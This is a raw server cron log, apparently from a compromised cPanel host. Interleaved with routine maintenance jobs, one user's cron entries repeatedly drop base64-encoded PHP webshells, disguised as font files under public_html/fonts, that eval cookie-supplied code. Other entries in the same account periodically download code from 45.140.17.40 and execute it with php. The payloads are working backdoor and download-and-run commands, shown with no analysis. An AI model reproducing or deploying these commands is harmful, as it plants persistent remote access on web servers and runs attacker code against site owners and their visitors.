Sep  8 23:57:01 ip-184-168-122-23 CROND[11116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:57:01 ip-184-168-122-23 CROND[11117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:57:01 ip-184-168-122-23 CROND[11115]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:57:01 ip-184-168-122-23 CROND[11124]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:58:01 ip-184-168-122-23 CROND[11208]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:58:01 ip-184-168-122-23 CROND[11210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:58:01 ip-184-168-122-23 CROND[11212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:58:01 ip-184-168-122-23 CROND[11211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:58:01 ip-184-168-122-23 CROND[11213]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 23:59:01 ip-184-168-122-23 CROND[11294]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:59:01 ip-184-168-122-23 CROND[11293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:59:01 ip-184-168-122-23 CROND[11292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:59:01 ip-184-168-122-23 CROND[11291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:00:01 ip-184-168-122-23 CROND[11384]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:00:01 ip-184-168-122-23 CROND[11385]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  9 00:00:01 ip-184-168-122-23 CROND[11388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:00:01 ip-184-168-122-23 CROND[11387]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 00:00:01 ip-184-168-122-23 CROND[11389]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 00:00:01 ip-184-168-122-23 CROND[11391]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 00:00:01 ip-184-168-122-23 CROND[11390]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:00:01 ip-184-168-122-23 CROND[11386]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 00:00:01 ip-184-168-122-23 CROND[11394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:01:01 ip-184-168-122-23 CROND[11494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:01:01 ip-184-168-122-23 CROND[11497]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 00:01:01 ip-184-168-122-23 CROND[11496]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 00:01:01 ip-184-168-122-23 CROND[11499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:01:01 ip-184-168-122-23 CROND[11498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:01:01 ip-184-168-122-23 CROND[11501]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[11496]: starting 0anacron
Sep  9 00:01:02 ip-184-168-122-23 anacron[11517]: Anacron started on 2026-09-09
Sep  9 00:01:02 ip-184-168-122-23 anacron[11517]: Normal exit (0 jobs run)
Sep  9 00:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[11519]: finished 0anacron
Sep  9 00:02:01 ip-184-168-122-23 CROND[11619]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:02:01 ip-184-168-122-23 CROND[11622]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 00:02:01 ip-184-168-122-23 CROND[11623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:02:01 ip-184-168-122-23 CROND[11624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:02:01 ip-184-168-122-23 CROND[11621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:03:01 ip-184-168-122-23 CROND[11707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:03:01 ip-184-168-122-23 CROND[11708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:03:01 ip-184-168-122-23 CROND[11709]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:03:01 ip-184-168-122-23 CROND[11710]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:04:01 ip-184-168-122-23 CROND[11791]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:04:01 ip-184-168-122-23 CROND[11794]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:04:01 ip-184-168-122-23 CROND[11793]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:04:01 ip-184-168-122-23 CROND[11795]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 00:04:01 ip-184-168-122-23 CROND[11796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:05:01 ip-184-168-122-23 CROND[11880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:05:01 ip-184-168-122-23 CROND[11884]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 00:05:01 ip-184-168-122-23 CROND[11887]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:05:01 ip-184-168-122-23 CROND[11886]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:05:01 ip-184-168-122-23 CROND[11882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:05:01 ip-184-168-122-23 CROND[11883]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 00:05:01 ip-184-168-122-23 CROND[11885]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 00:06:01 ip-184-168-122-23 CROND[11972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:06:01 ip-184-168-122-23 CROND[11974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:06:01 ip-184-168-122-23 CROND[11975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:06:01 ip-184-168-122-23 CROND[11977]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:06:01 ip-184-168-122-23 CROND[11979]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 00:07:01 ip-184-168-122-23 CROND[12145]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:07:01 ip-184-168-122-23 CROND[12149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:07:01 ip-184-168-122-23 CROND[12147]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:07:01 ip-184-168-122-23 CROND[12148]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:08:01 ip-184-168-122-23 CROND[12281]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 00:08:01 ip-184-168-122-23 CROND[12283]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:08:01 ip-184-168-122-23 CROND[12285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:08:01 ip-184-168-122-23 CROND[12286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:08:01 ip-184-168-122-23 CROND[12287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:09:02 ip-184-168-122-23 CROND[12375]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:09:02 ip-184-168-122-23 CROND[12380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
